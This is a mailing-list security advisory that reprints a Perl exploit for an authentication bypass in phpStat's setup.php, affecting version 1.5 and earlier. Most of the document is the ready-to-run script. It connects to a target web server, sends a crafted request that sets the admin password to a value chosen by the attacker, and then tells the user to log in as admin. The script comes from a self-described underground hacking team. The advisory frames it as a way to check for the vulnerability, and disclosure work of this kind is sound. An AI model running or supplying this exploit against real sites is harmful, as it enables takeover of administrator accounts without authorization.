[EXPL] phpStat Authentication Bypass Vulnerability (Exploit, Setup.PHP)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  phpStat Authentication Bypass Vulnerability (Exploit, Setup.PHP)
------------------------------------------------------------------------


SUMMARY

 <http://phpstat.sourceforge.net/journal/> phpStat is an "IM statistics 
generator, made using PHP. Along basic statistics it also organizes 
conversations for future access by their rightful owners."

phpStat is vulnerable to an authentication bypass vulnerability, the 
following exploit allows you to verify whether your system is vulnerable 
to the vulnerability or not.

DETAILS

Vulnerable Systems:
 * phpStat version 1.5 and prior

Exploit:
#!/usr/bin/perl
###################################
#T r a p - S e t  U n d e r g r o u n d  H a c k i n g  T e a m
###################################
# EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
#
#Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v )
#E-Mail : [email protected]
#
#This Xpl Change Admin's Pass in This Portal !!
#Discovered by: SoulBlack
#
#Vulnerable Version : phpStat 1.5
#
###################################
# Gr33tz To =>  mh_p0rtal , Oil_karchack , Str0ke & AlphaST.Com
#
# So Iranian Hacking & Security Teams :
#
# Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
###################################


use IO::Socket;

if (@ARGV < 3)
{
 print "\n=====================\n";
 print " \n   -- Exploit By Alpha Programmer --\n\n";
 print "   Trap-Set UnderGrounD Hacking Team   \n\n";
 print "     Usage: <T4rg3t> <DIR> <Password>\n\n";
 print "=====================\n\n";
 print "Examples:\n\n";
 print "  phpStat.pl www.Site.com /phpstat/ 12345\n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] 
HTTP/1.0\n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; 
NET CLR 1.1.4322)\n";
$http .= "Host: $host\n\n\n\n";

print "[+]Sending H3ll Packet ...\n";
print $remote $http;
sleep(1);
print "[+]Wait For Authentication Bypass ...\n";
sleep(100);
while (<$remote>)
{
}
print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n";
print "[+]User: admin\n";
print "[+]Pass: $ARGV[2]";


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
A l p h a _ P r o g r a m m e r ( Sirus-v ).



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.